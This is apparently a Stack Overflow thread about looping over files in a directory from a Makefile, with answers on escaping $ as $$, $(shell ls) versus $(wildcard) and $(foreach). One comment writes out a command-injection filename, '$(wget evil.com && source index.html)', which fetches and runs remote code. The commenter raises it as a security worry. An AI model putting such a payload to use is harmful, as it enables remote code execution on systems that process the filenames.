simple loop over files in some directory makefile

Question

I can easily print all the files inside some directory from bash:

$ cat go.sh
BASEDIR=~/Downloads
MYDIR=${BASEDIR}/ddd
for f in $(ls ${MYDIR}); do echo $f; done

$ ./go.sh
m.txt
d.txt

When I try to do a similar thing from makefile it doesn't work well:

$ cat makefile
BASEDIR = ${HOME}/Downloads
MYDIR = ${BASEDIR}/ddd
all:
    for f in $(ls ${MYDIR}); do echo ${f}; done

$ make
for f in ; do echo ; done

And here is another trial that doesn't work:

$ cat makefile
BASEDIR = ${HOME}/Downloads
MYDIR = ${BASEDIR}/ddd
all:
    for f in $(shell ls ${MYDIR}); do echo ${f}; done

$ make
for f in d.txt m.txt; do echo ; done

You have to remember that $ is special to make. Whenever you write a shell command in a makefile recipe, you MUST escape any $ that you want to put into the shell command (that you want the shell to see). So your recipe should be for f in $$(ls ${MYDIR}); do echo $$f; done — MadScientist
– MadScientist, Commented Jan 3, 2019 at 14:58

Oo.oO · Accepted Answer · 2019-01-03 15:12:17Z

27

Maybe you can do it purely Makefile way?

MYDIR = .
list: $(MYDIR)/*
        @echo $^

You can still run command from Makefile like this

MYDIR = .
list: $(MYDIR)/*
        for file in $^ ; do \
                echo "Hello" $${file} ; \
        done

If I were you, I'd rather not mix Makefile and bash loops based on $(shell ...). I'd rather pass dir name to some script and run loop there - inside script.

edited Jan 3, 2019 at 15:12

answered Jan 3, 2019 at 10:54

Oo.oO

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6 Comments

OrenIshShalom Over a year ago

hmmm ... I want more than just printing the filenames. I prepared this minimal complete example so that I can use bash loops inside makefiles.

OrenIshShalom Over a year ago

I think what was missing was the (double) dollar sign ($$). I accepted your answer and posted the working solution in a separate answer. Thanks!

MadScientist Over a year ago

It's an anti-pattern to use the GNU make $(shell ...) function inside a recipe. The behavior is just confusing.

Brian Hannay Over a year ago

Hey, what happens if a filename is something like $(wget evil.com && source index.html)? Would make instruct the shell to download and execute a file, using the result as the loop input?

hzitoun Over a year ago

works great!!! pay the secret resides in 3 things: using backslash at the end of the line, using ; at the end of the command and using $${file} to get the filename thanks!!

|

Mike Pylypyshyn · Accepted Answer · 2019-05-16 15:17:53Z

25

Also almost "true way" from documentation

TEMPLATES_DIR = ./somedir

list: 
    $(foreach file, $(wildcard $(TEMPLATES_DIR)/*), echo $(file);)

answered May 16, 2019 at 15:17

Mike Pylypyshyn

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1 Comment

user3768495 Over a year ago

Somehow the TEMPLATES_DIR = ./somedir part didn't work for me - the files listed are from the root dir, "/", no matter if I use relative or absolute path. Do you happen to know what might have gone wrong in my case? ------- Never mind. I figured it out. I had an extra space after the ./somdir ...

OrenIshShalom · Accepted Answer · 2019-01-03 11:07:49Z

15

Here is the edited answer based on @Oo.oO:

$ cat makefile
BASEDIR = ${HOME}/Downloads
MYDIR = ${BASEDIR}/ddd
all:
    @for f in $(shell ls ${MYDIR}); do echo $${f}; done

$ make
d.txt
m.txt

answered Jan 3, 2019 at 11:07

OrenIshShalom

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Comments

Zhwt · Accepted Answer · 2019-12-17 02:45:11Z

There is a little problem with @Oo.oO's answer.

If there is any file/folder has the same name with a target in makefile, and that target has some prerequisites, and you want to loop through that folder, you will get that target recipe being executed.

For example: if you have a folder named build, and you have a rule like:

build: clean server client

clean:
    @echo project cleaned!
server:
    @echo server built!
client:
    @echo client built!

To loop through the folder contains that special build folder, let's says you have the following rules:

MYDIR = .
ls: $(MYDIR)/*
    @echo $^

The result will be:

$ make ls
project cleaned!
server built!
client built!
build Makefile

I would suggest to use @Mike Pylypyshyn's solution. According to the make documentation, the foreach function is more suitable in this case.

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